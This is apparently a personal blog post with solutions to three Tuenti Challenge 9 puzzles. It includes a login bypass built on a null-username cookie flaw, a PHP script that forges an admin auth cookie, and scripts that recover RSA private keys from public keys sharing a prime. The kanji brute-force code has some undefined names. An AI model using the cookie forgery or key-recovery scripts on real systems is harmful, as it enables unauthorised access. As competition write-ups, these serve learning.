Hola, Internet!

I’m back again with the last post about the problems that I solved during the Tuenti Challenge 9. The previous two posts can be found under this tag. Today I’ll cover exercises 8, 9 and 10. Personally problems 8 and 10 were the most enjoyable.

Let’s go!

Challenge 8 - Tasty secrets

This is a find-your-way-in kind of problem. Presented only with a login form and told not to try brute-forcing. What could possibly be done to cross this apparently closed door?

Well, step one of penetration testing is looking for every piece of information available (technically known as enumerating). What sources of information do we have right now?

First, we have the URL: http://52.49.91.111:8326/?goodboy

There we see that the server is being served in port 8326, which doesn’t provide much information by itself because I know that there are many different services in different ports for the tasks of the 20 challenges. But also we see a weird param goodboy. And if we try to access the URL without it we receive a 403 Forbidden response, so it seems like we are enforced to leave it there.

Then we have the HTML source of the page we see:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <link rel="stylesheet" href="http://52.49.91.111:8327/css/bootstrap.min.css?goodboy">
    <script src="http://52.49.91.111:8327/js/bootstrap.min.js?goodboy"></script>
    <title>Login</title>
</head>
<body>
.
. Boring stuff here
.

Look what we found here! The static files of CSS and Javascript are being served from a different port, in this case the number 8237. These URLs also contain the goodboy param and answer 403 without it, too. These files are common bootstrap files that don’t provide information, but we may be lucky and find that the server is poorly configured and be able to access other files.

Indeed, when we navigate to http://52.49.91.111:8327/?goodboy a lovely index is waiting for us. It contains:

  • css/ : a folder containing boring bootstrap css :(
  • js/ : a folder containing boring bootstrap javascript :(
  • src/ : a folder containing a very much interesting auth.php module with the functions used internally for authentication and cookie management :D
  • templates/ : folder containing the PHP scripts that paint the different HTML interfaces :)
  • index.php : the PHP script that manages the main logic of the app <3
  • site.conf : an Apache configuration file that includes the rule of having to append ?goodboy to everything.

Christmas arrived early this year!. Let’s take a look at the index.php file:

<?php

include_once 'src/links.php';
include_once 'src/auth.php';

ini_set('display_errors', false);

[$section] = explode('?', urldecode(substr($_SERVER['REQUEST_URI'], 1)));

if ($section == '') {
    if (!check_cookies()) {
        include('templates/login.php');
    } else {
        include('templates/home.php');
    }
}

if ($section == 'post-login') {
    $user = $_POST['user'];
    $pass = $_POST['password'];

    $matchedUser = check_credentials($user, $pass);
    if ($user === $matchedUser) {
        set_cookies($matchedUser);
        header('Location: ' . page_link(''));
    }
    include('templates/wrong-credentials.php');
}

if ($section == 'logout') {
    delete_cookies();
    header('Location: ' . page_link(''));
}

$sectionParts = explode('/', $section);
if ($sectionParts[0] == 'secrets' && check_cookies()) {
    $secret = get_secret($sectionParts[1]);
    if ($secret) {
        if ($secret['users'] && !in_array(check_cookies(), explode(',', $secret['users']))) {
            include('templates/secret-forbidden.php');
        } else {
            include('templates/secret.php');
        }
    }
}

And also check the src/auth.php file:

<?php

function get_secret($key)
{
    foreach (list_secrets() as $secret) {
        if ($secret['name'] == $key) {
            return $secret;
        }
    }
}
function list_secrets()
{
    $db = new SQLite3('../db.sqlite');
    $result = $db->query("SELECT * from secrets");
    $rows = [];
    while ($row = $result->fetchArray()) {
        $rows[] = $row;
    }
    return $rows;
}

function get_auth_key()
{
    $secret = get_secret('auth_key');
    return $secret['content'];
}

function check_credentials($user, $pass)
{
    if (!preg_match("'^[a-zA-Z0-9_\\-]+$'", $user)) {
        return null;
    }
    if (!preg_match("'^[a-zA-Z0-9_\\-]+$'", $pass)) {
        return nill;
    }
    $db = new SQLite3('../db.sqlite');
    $row = $db->querySingle("SELECT * from users where user = '$user' and password = '$pass'", true);
    if ($row) {
        return $user;
    }
    return null;
}

function create_auth_cookie($user)
{
    $authKey = get_auth_key();
    if (!$authKey) {
        return false;
    }
    $userMd5 = md5($user, true);

    $result = '';
    for ($i = 0; $i < strlen($userMd5); $i++) {
        $result .= bin2hex(chr((ord($authKey[$i]) + ord($userMd5[$i])) % 256));
    }
    return $result;
}

function set_cookies($user)
{
    $authCookie = create_auth_cookie($user);
    setcookie('user', $user);
    setcookie('auth', $authCookie);
}

function delete_cookies()
{
    setcookie('user');
    setcookie('auth');
}

function check_cookies()
{
    $userCookie = $_COOKIE['user'];
    $authCookie = $_COOKIE['auth'];

    if ($authCookie === create_auth_cookie($userCookie)) {
        return $userCookie;
    }
    return false;
}

After reading this two files we have a better understanding of what is happening under the hoods when we use the web app:

  • The app has a SQLite database that stores secrets, which include an auth_key secret, and information about the users and their passwords.
  • When you log in, the app checks if the provided user and password are present in the database using the check_credentials function of src/auth.php. Note that regardless of the result of the authentication, templates/wrong-credentials.php is presented (nice move to infuriate brute-forcers).
  • If present, a secret token is created using the function create_auth_cookie from src/auth.php. A MD5 checksum of the username is added to the value of auth_key to craft a “signed” checksum.
  • The app then returns the cookies user, that contains the username, and auth, which contains the signed checksum.
  • Next time user tries to access the page, the cookies are checked to validate them using the function check_cookiesfrom src/auth.php. This is done by creating a new signed checksum with the user value and comparing it with the provided auth cookie.

For a while I tried to find a way to inject SQL through check_credentials because the regular expression that sanitizes the inputs allows the value \, but later I learned that that character doesn’t escape ' in SQL; instead you need to put an extra '. So all my attempts resulted in check_credentials returning the hateful null.

Wait… It returns null of fail…

Let’s look back at the login part:

if ($section == 'post-login') {
    $user = $_POST['user'];
    $pass = $_POST['password'];

    $matchedUser = check_credentials($user, $pass);
    if ($user === $matchedUser) {
        set_cookies($matchedUser);
        header('Location: ' . page_link(''));
    }
    include('templates/wrong-credentials.php');
}

First time I saw the inner if it already stroke me as redundant; it checks the credentials, returns the username found and then compares it with the provided username, so if the auth fails it checks $user === null.

But what if $useris null too? It will call set_cookies, but will it work taking into consideration that create_auth_cookie needs a username? Yes, it will.

Turns out that in PHP md5(null) returns the value D41D8CD98F00B204E9800998ECF8427E, which is then added to the previously mention auth_key secret and returned as a cookie to us. Therefore we can directly access the value of auth_key and create our own signed cookies for any username we want.

Then, is it enough with not writing a username in the form and press Login? No, because that will set an empty string instead of the null value and will fail the $user === null. The most straigthforward way of setting a null value for the user field is not sending a POST request but doing a GET instead.

So go to the browser and navigate to http://52.49.91.111:8326/post-login?goodboy. Now you should be able to see an auth cookie with value 0c82c312c766e23720b76cd1255aa5ae in the browser storage.

I used the following script to transform that cookie into the auth cookie for the user admin (admin is one of the registered usernames of the database, but you could aswell invent a new name):

<?php
function strToHex($string){
    $hex = '';
    for ($i=0; $i<strlen($string); $i++){
        $ord = ord($string[$i]);
        $hexCode = dechex($ord);
        $hex .= substr('0'.$hexCode, -2);
    }
    return strToUpper($hex);
}
function hexToStr($hex){
    $string='';
    for ($i=0; $i < strlen($hex)-1; $i+=2){
        $string .= chr(hexdec($hex[$i].$hex[$i+1]));
    }
    return $string;
}

$nullAuth = hexToStr("0c82c312c766e23720b76cd1255aa5ae");
$nullUser = null;
$nullUserMd5 = md5($nullUser, true);
echo "Hex md5(null): ".strToHex($nullUserMd5)."\n";

$authKey = '';
for ($i = 0; $i < strlen($nullUserMd5); $i++) {
    $authKey .= bin2hex(chr((ord($nullAuth[$i]) - ord($nullUserMd5[$i])) % 256));

}
echo "Hex auth_key: ".$authKey."\n";

$admin = "admin";
$adminMd5 = md5($admin, true);

$adminAuth = '';
for ($i = 0; $i < strlen($adminMd5); $i++) {
    $adminAuth .= bin2hex(chr((ord($nullAuth[$i]) - ord($nullUserMd5[$i]) + ord($adminMd5[$i])) % 256));
}
echo "Hex adminAuth: ".$adminAuth."\n";

This script outputs the following:

Hex md5(null): D41D8CD98F00B204E9800998ECF8427E
Hex auth_key: 38653739386630333737633939626330
Hex adminAuth: 59886662b2bdd5da7ac0ad4783e282f3

If you now try to send requests to the web with the cookies user: admin and auth: 59886662b2bdd5da7ac0ad4783e282f3, you will be presented with the home page, that contains the list of the secrets and their owners, and greeted as admin. In this list we find the ultrasecret recipe that we were looking for, which is only visible for the user admin. Since we are now admin, we can directly download the file.

Enjoyable and not so unrealistic exercise!

Challenge 9 - Helping Nobita

It is not a pleasant feeling, but sometimes you gotta bruteforce your way out of a problem. For me, this was the only solution I found for Challenge 9. Maybe other smarter people found a better way, but this is the one I used.

In order to brute it, we need to create a list for each group of kanjis containing all the valid numbers that can be constructed with them. You cand find the rules for constructing valid kanji numbers (smaller than 100000000, sorry) in the function valid_kanji_number of the following code.

Full disclosure, I was lazy so used a small library to transform the valid kanji sequence into an actual integer. Said library does not check if the string is correct, so using it directly to bruteforce results in false positives (and a much much muuuuuuch bigger amount of loop iterations).

from collections import Counter
import itertools as it
from multiprocessing import Pool

# CODE FROM A THIRD PARTY ##################################################
# http://ginstrom.com/scribbles/2009/04/28/converting-kanji-numbers-to-integers-with-python/

"""
Converts kanji numbers into integers

Can covert numbers up to 9,999,999,999,999,999
(九千九百九十九兆九千九百九十九億九千九百九十九万九千九百九十九)

Released under MIT license.

__version__ = "0.1"
__author__  = "Ryan Ginstrom"
__license__ = "MIT"
__description__ = "A module to convert kanji numbers into Python integers"
"""

NUMS = dict([
        (1, u"一"),
        (2, u"二"),
        (3, u"三"),
        (4, u"四"),
        (5, u"五"),
        (6, u"六"),
        (7, u"七"),
        (8, u"八"),
        (9, u"九"),
        (10, u"十"),
        (100, u"百"),
        (1000, u"千"),
        (10000, u"万"),
        (100000000, u"億"),
        (1000000000000, u"兆")
    ])

KANJIS = dict((NUMS[num], num) for num in NUMS)

def _break_down_nums(nums):
    first, second, third, rest = nums[0], nums[1], nums[2], nums[3:]
    if first < third or third < second:
        return [first+second, third] + rest
    else:
        return [first, second*third] + rest

def kanji2num(kanji, enc="utf-8"):
    """
    Convert the kanji number to a Python integer.
    """
    # get the string as list of numbers
    nums = [KANJIS[x] for x in kanji]
    num = 0
    while len(nums) > 1:
        first, second, rest = nums[0], nums[1], nums[2:]
        if second < first: # e.g. [10, 3, …]
            if any(x > first for x in rest): # e.g. [500, 3, 10000, …]
                nums = _break_down_nums(nums)
            else: # e.g. [500, 3, 10, …]
                num += first
                nums = [second] + rest
        else: # e.g. [3, 10, …]
            nums = [first*second] + rest
    return num + sum(nums)

# END OF CODE FROM A THIRD PARTY #####################################

# Here we differentitate between the units (u) and the multiples of ten (d)
# because the later have fixed postiions
type_kanji = {
    'u': [ NUMS[1], NUMS[2], NUMS[3], NUMS[4], NUMS[5], 
        NUMS[6], NUMS[7], NUMS[8], NUMS[9] ], 
    'd': [ NUMS[10], NUMS[100], NUMS[1000], NUMS[10000], 
        NUMS[100000000], NUMS[1000000000000] ]
}
kanji_type = { num: typ for typ in type_num.keys() for num in type_num[typ] }

def valid_kanji_number( kanji_str ):
    if not kanji_str:
        return True
    
    # The kanji for 10000 divides the number in two substrings 
    # that follow the same rules
    if NUMS[10000] in kanji_str:
        index_10000 = kanji_str.find( NUMS[10000] )
        
        # There must be a unit (1 to 9) at the left to the kanji 10000
        if index_10000 == 0 or 
            kanji_type[kanji_str[index_10000-1]] != 'u':
            return False
            
        # Substrings at both sides of kanji 10000 are valid numbers
        return valid_kanji_number( kanji_str[:index_10000:] ) and 
            valid_kanji_number( kanji_str[index_10000+1::] )
    
    c = Counter( kanji_str )
    # A valid sub-string must contain at most one kanji for 10, 100 and 1000
    if c[NUMS[10]] > 1 or c[NUMS[100]] > 1 or c[NUMS[1000]] > 1:
        return False
        
    index_10 = kanji_str.find( NUMS[10] )
    index_100 = kanji_str.find( NUMS[100] )
    index_1000 = kanji_str.find( NUMS[1000] )
    
    # The kanjis for 10, 100 and 1000 must be properly ordered
    if not (index_10 == -1 or 
            ((index_100 == -1 or index_100 < index_10) and 
             (index_1000 == -1 or index_1000 < index_10)) ):
        return False
    
    if not ( index_100 == -1 or 
            (index_1000 == -1 or index_1000 < index_100) ):
        return False
    
    # The kanji for 1 can only be located at the rigth of each substring
    if NUMS[1] in kanji_str:
        index_1 = kanji_str.find( NUMS[1] )
        if index_1 != len(kanji_str) - 1:
            return False
        
    # There can't be two unit numbers (1 to 9) next to each other
    for i in range(len(kanji_str)-1):
        if num_type[KANJIS[kanji_str[i]]] == 'u' and 
            num_type[KANJIS[kanji_str[i+1]]] == 'u':
            return False
    return True

def gen_possible_numbers(kanji_str):
    return [ kanji2num(''.join(k)) for k in it.permutations(kanji_str) 
        if valid_kanji_number(''.join(k)) ]

def find_original( index, first_op, second_op, result):
    print(f'{index} --> Starting')
    found = False
    op1_list = gen_possible_numbers(first_op)
    op2_list = gen_possible_numbers(second_op)
    re_list = gen_possible_numbers(result)

    for op1 in op1_list:
        for op2 in op2_list:
            for re in re_list:
                if op1 + op2 == re:
                    print(index, '--> Found')
                    return f'Case #{index}: {op1} + {op2} = {re}'
                    
                elif op1 - op2 == re:
                    print(index, '--> Found')
                    return f'Case #{index}: {op1} - {op2} = {re}'
                    
                elif op1 * op2 == re:
                    print(index, '--> Found')
                    return f'Case #{index}: {op1} * {op2} = {re}'
                    
            else:
                continue
            break
        else:
            continue
        break
    else:
        print(index, '--> Notfound')
        return None
 

Challenge 10 - Not So Assured

This is the challenge I felt the most proud of solving. Breaking an RSA key, mate! Can you imagine it? Let’s see how.

We are provided with a zip file containing the ‘/home’ directories of a bunch of people of the company, each of which contains their personal public RSA key to log through SSH. Public RSA keys are meant to be shared freely, so we could think that we have no way of getting into the system. Damn you, Tuenti!

But let’s think about how RSA keys are built and why they are safe.

The Wikipedia article about RSA provides a pretty good averview, but the main points for our case are:

  • Two random very big prime numbers p and q are generated.
  • Using p and q we create other numbers n, e and d.
  • n is the result of multiplying p and q.
  • Given only n, it would take you years to find p and q, because prime factorization is a pain in the ass (I swear this is the technical way of defining it).
  • You distribute freely n and e (that is what we get from the zip file), and keep d as safe as possible.
  • To win the challenge we need dand the only way to get it is build it from p and q.

These simplified ideas are the base of modern safe cryptography, so I was not hoping to break the algorithm itself. What is the winner approach, then?

As we already stablished, everything revolves around the two random big prime numbers. Since they are unknown and potentially unique for a given generator, they are virtually impossible to crack. But then again, they are potentially unique. What would happen if a system with a not-so-good random prime generator repeated a number for two key pairs.

Imagine Alice asks for a RSA pair and the system generates the prime numbers p and q with which it calculates n = p * q. Then Bob asks for his RSA key pair and the system generates the prime numbers p and r with which it calculates m = p * r. The resulting key pairs for Alice and Bob are robust on their own and would still take years to break n or m. But sadly for them, we have both n and m.

While prime factorization takes a lot of time, finding the Greatest Common Divisor is very cheap thanks to the Euclidean algorithm. So we can easily see that n and m share p and then find q and rjust by dividing. Alice and Bob are in trouble now!

Turns out this ugly situation is happening in the company of the challenge and after cross checking all the publick keys we find a bunch of repeated primes, one of which belongs to the person we are asked to login as. Once we have the primes it is trivial to build the SSH certificate and access the system.

Here you have a script to get n from the zip file (it is writen in hexadecimal):

KEY_FILE="Pub_keys"
SSH_DIR="home"

ls -1 $SSH_DIR | wc -l > $KEY_FILE
ls -1 $SSH_DIR | xargs -I {} sh -c "echo {} >> $KEY_FILE && ssh-keygen -f $SSH_DIR/{}/.ssh/id_rsa.pub -e -m pem | openssl rsa -RSAPublicKey_in -modulus -noout -text | grep 'Modulus=' | cut -d '=' -f2 >> $KEY_FILE"

Here you have a script to find the common primes and build the SSH certificates:

import math
from Crypto.PublicKey import RSA
from multiprocessing import Pool

e = 65537

# xgcd and mulinv from https://en.wikibooks.org/wiki/Algorithm_Implementation/Mathematics/Extended_Euclidean_algorithm
def xgcd(a, b):
    """return (g, x, y) such that a*x + b*y = g = gcd(a, b)"""
    x0, x1, y0, y1 = 0, 1, 1, 0
    while a != 0:
        q, b, a = b // a, a, b % a
        y0, y1 = y1, y0 - q * y1
        x0, x1 = x1, x0 - q * x1
    return b, x0, y0

def mulinv(a, b):
    """return x such that (x * a) % b == 1"""
    g, x, _ = xgcd(a, b)
    if g == 1:
        return x % b
    
def find_common_prime(name_1, n_1, name_2, n_2):
    print(f'Starting: {name_1} - {name_2}')
    p = math.gcd(n_1, n_2)
    
    if p == 1:
        return f'{name_1}-{name_2}: not found'
    else:
        q_1 = int(n_1 // p)
        phi_1 = (p - 1) * (q_1 - 1)
        d_1 = mulinv(e, phi_1)
        key_params_1 = (n_1, e, d_1)
        key_1 = RSA.construct(key_params_1)
        key_text_1 = key_1.exportKey().decode('utf-8')
        
        q_2 = int(n_2 // p)
        phi_2 = (p - 1) * (q_2 - 1)
        d_2 = mulinv(e, phi_2)
        key_params_2 = (n_2, e, d_2)
        key_2 = RSA.construct(key_params_2)
        key_text_2 = key_2.exportKey().decode('utf-8')
        
        return f'{name_1}-{name_2}: FOUND COMMON PRIME\n----> Common p: {p}\n----> Common e: {e}\n----> {name_1} n: {n_1}\n----> {name_1} q: {q_1}\n----> {name_1} d: {d_1}\n----> {name_1} private key: \n{key_text_1}\n\n----> {name_2} n: {n_2}\n----> {name_2} q: {q_2}\n----> {name_2} d: {d_2}\n----> {name_2} private key: \n{key_text_2}\n'

And that was all from my side about the Tuenti Challenge 9. Looking forward to participate next year!